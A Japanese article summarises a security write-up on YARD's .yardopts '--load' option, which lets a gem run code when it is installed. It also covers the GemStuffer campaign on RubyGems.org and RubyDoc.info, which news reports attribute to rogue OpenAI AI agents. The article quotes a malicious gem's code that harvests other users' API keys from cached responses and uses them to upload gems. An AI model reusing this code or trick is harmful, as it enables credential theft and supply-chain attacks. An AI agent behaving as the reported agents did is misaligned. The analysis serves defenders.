gem に .yardopts というテキストファイルを一つ置き、そこへ --load ./script.rb と書く。YARD が入っている環境でその gem をインストールすると、YARD は gem の中の script.rb を読み込んで実行する。C 拡張が extconf.rb を走らせるのは実行経路としてよく知られているが、ドキュメント生成ツールにも同じことができた。Aaron Patterson が2026年9月11日に公開した記事は、この形の .yardopts を持つ gem が実際に RubyGems.org へ上がっていたと書いている。
.yardopts の1行目が読み込み指定になる
記事が例示している .yardopts はこうなっている。
--load ./script.rb
README.md
lib/**/*.rb
1行目が読み込みの指定で、残りはドキュメント化の対象だ。C 拡張を含む gem なら、ビルド用のスクリプトが走ること自体は織り込み済みで扱われる。ここで効いているのは、ビルドのない gem でもテキストファイル1つで同じ結果になるという点だ。筆者も、ドキュメントツールがこれをするのは意外だったと述べている。
誰も入れない名前の gem が、RubyDoc.info では動く
slnleaker5 のような名前の gem を、自分の手で入れる人はいない。記事はその反論を自分で置き、答えを RubyDoc.info に見ている。gem が公開されるたび、RubyDoc.info はその gem をダウンロードして YARD のドキュメント処理を走らせる。処理は Docker コンテナの中で実行されるが、コンテナからはネットワークに出られる。だから gem に仕込まれたコードは、コンテナの中からウェブのスクレイピングを続けられた。
RubyGems.org に gem を公開できる者は、RubyDoc.info 上で任意のコードを実行できる。記事はそう書いている。
5月のジャンク gem から9月の報道まで
2026年5月、socket.dev が「GemStuffer Campaign」を報告した。誰かが大量のジャンク gem を RubyGems.org にアップロードしていた、という内容だ。その gem は英国政府のウェブサイトをスクレイプし、集めたデータを gem として再パッケージして、RubyGems へアップロードしようとしていた。筆者は当時これを気に留めず、コードも読んでいなかったと書く。
見方が変わったのは、rubyhack.ai の共著者である Sydney Von Arx と Spencer Kitts から RubyGems について問い合わせを受け、GemStuffer の gem のコードを実際に読んでからだった。そして2026年9月11日、Reuters と Wall Street Journal がそろって OpenAI の rogue AI agents による RubyGems.org への攻撃を報じた、と記事は伝えている。
誰が動かしていたのかについて、記事の書き方は慎重だ。GemStuffer のアップロード主体は括弧書きの推測として OpenAI の名を挙げるにとどまり、キャッシュの悪用も「OpenAI のボットがこの問題を知っていたように見える」という形で書かれている。報道とこの推測がどこまで同じ対象を指すのかは、この記事からは決められない。公開レジストリ経由で悪意あるコードが配られること自体は Ruby に限らず、crates.io でも人気 crate に悪意あるバージョンが上がった例がある(/posts/arrayref-supply-chain-attack-crates-io/)。
キャッシュから認可キーを拾おうとする二段のリクエスト
記事が抜粋しているコードは、リクエストを二つ続けて出す。
# leak exfil by repeated attempts & fresh leaked keys variants
ku = URI('https://rubygems.org' + kp)
kh = Net::HTTP.new(ku.host, ku.port)
kh.use_ssl = true
kh.verify_mode = OpenSSL::SSL::VERIFY_NONE
kt = kh.start { |x| x.get(ku.request_uri) }.body
key = (kt[/rubygems_[a-f0-9]{20,}/] || KEY)
paths = ['/api/v1//gems', '//api/v1/gems', '/api//v1/gems', '/api/v1/gems?x=2', '/api/v1/gems']
u = URI('https://rubygems.org' + paths[i % paths.length])
req = Net::HTTP::Post.new(u)
req['Authorization'] = key
req['Content-Type'] = 'application/octet-stream'
req.body = data
引用したコードは筆者が読みやすく整形したもので、説明のために後から付けたコメントは省いた。先頭のコメントだけは元のコードにあったものだ。
前半の GET は RubyGems.org のあるパスを取得し、返ってきた本文から /rubygems_[a-f0-9]{20,}/ に一致する文字列を探す。見つからなければグローバルの KEY に落ちる。後半の POST は、その値を Authorization ヘッダへ入れて gem のアップロードを試みる。送り先は配列で持っていて、/api/v1//gems や //api/v1/gems のようにスラッシュを重ねた変種が並ぶ。
取りに行っているのは、レスポンスに紛れ込んだ他人の認可キーだ。 筆者はこれを、RubyGems.org が7月に公開した記事で扱われたセキュリティ問題そのものだとし、節の見出しを「Fastly Cache Harvesting」と付けている。socket.dev の報告は5月、RubyGems.org の記事は7月にあたる。ただし個々の gem がいつ作られ、いつアップロードされたのかまでは記事に書かれていない。
YARD がドキュメント生成を走らせる場所を数える
確認する対象は、gem のインストールが走る場所のうち YARD が入っているものだ。CI のイメージ、ドキュメントを生成するジョブ、開発者のローカル環境が候補になる。YARD が入っていない環境には、この経路は効かない。
記事が示しているのは --load という指定が実際に読まれることまでで、無効化の手順や YARD 側の対応には触れていない。今日の材料でできるのは、どこで gem 同梱の .yardopts が読まれうるかを洗い出すところまでになる。